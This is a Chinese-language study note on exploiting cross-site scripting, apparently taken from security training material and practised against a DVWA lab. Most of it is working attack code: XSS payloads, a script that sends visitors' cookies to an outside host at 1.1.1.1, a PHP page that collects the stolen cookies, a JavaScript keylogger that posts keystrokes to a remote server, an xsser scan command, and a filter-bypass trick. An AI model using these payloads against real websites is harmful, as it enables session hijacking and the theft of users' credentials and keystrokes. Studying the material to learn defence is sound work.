恶意代码 漏洞
反射型 XSS1. 概念
通过社会工程学等手段诱骗用户点击某个精心构造的链接, 该链接会将恶意的 js 代码提交给 有漏洞的服务器网站, 并由服务器返回给受害者的客户端执行。
2.POC
-- 直接通过脚本插入 - type - 将代码注入到 a 标签中, 点击超链接则执行 -<imgsrc=http://1.1.1.1/a.ipgonerror=alert('xss')> - 将代码注入到 img 标签中, 加载出错时执行 -- 重定向 -<iframeSRC="http://1.1.1.1/victim"height="0"width="0"></iframe> - 加载一个宽和高都是 0 的框架来执行代码 -<script>newImage().src="http://1.1.1.1/c.php?output="+document.cookie;</script> - 窃取 cookie 并发送到指定网址 -<script>document.body.innerhtml="<divstyle=visibility:visible;><h1>THISwebSITE
ISUNDERATTACK</h1></div>";</script> - 修改 DOM 树中的内容
3. 窃取 cookiejs 代码 cookie.js
varimg=newImage(); img.src="http://1.1.1.1/cookies.php?cookie="+document.cookie;
接收页面代码 cookies.php
$c=$_GET['c']; $cookie=fopen("cookie.txt","a"); fwrite($cookie,$c."\r\n\r\n"); fclose($cookie);echo"success"?>
恶意代码
<scriptsrc=http://1.1.1.1/cookie.js></script>
攻击过程:
当恶意代码被执行时, 会从外部网址读取 cookie.js 在客户端上执行, 该 js 会读取当前页面的 地址并发送到指定的接收页面, 由页面接收并保存到文件。
4.keylogger 键盘记录 js keylogger.js
document.onkeypress=function(evt){evt=evt||window.eventkey=String.fromCharCode(evt.charCode)if(key){varhttp=newXMLHttpRequest();varparam=encodeURI(key) http.open("POST","http://192.168.20.8/keylogger.php",true); http.setRequestHeader("Content-type","application/x-www-form-urlencoded"); http.send("key="+param);
} }
接收页面 Keylogger.php
$key=$_POST['key']; $logfile="keylog.txt"; $fp=fopen($logfile,"a"); fwrite($fp,$key); fclose($fp);?>
恶意代码
<script+src="http://1.1.1.1/keylogger.js"></script>
攻击过程: 当恶意代码被执行时, 会从外部网址读取 keylooger.js 在客户端上执行, 该 js 记录所有该页面 上的按键操作并发送到指定的接收页面, 由页面接收并保存到文件。
5.xss 漏洞检测工具: xsser
xsser-u"http://1.1.1.1/dvwa/vulnerabilities/"-g"xss_r/?name="--cookie="securi ty=low;PHPSESSID=d23e469411707ff8210717e67c521a81"-s-v--reverse-check 检测 xss 漏洞 --heuristic 检查被过滤的字符
6. 过滤绕过
过滤机制: 替换 <script> 字符为 ""绕过方法: 在 <script> 中嵌套一层 <script>--<scr<script>ipt>
存储型 XSS1. 概念
将恶意 js 代码永久的存储在有漏洞的服务器上, 每次受害者打开该页面时, 恶意代码便会在 客户端执行。
2. 表单长度限制突破只在客户端过滤且服务器没有很的过滤机制时:
- 直接修改客户端源码改变表单长度
- 通过截断代理直接在数据包中修改需要提交的内容
【安全牛学习笔记】XSS 的利用
来源: http://www.bubuko.com/infodetail-2132948.html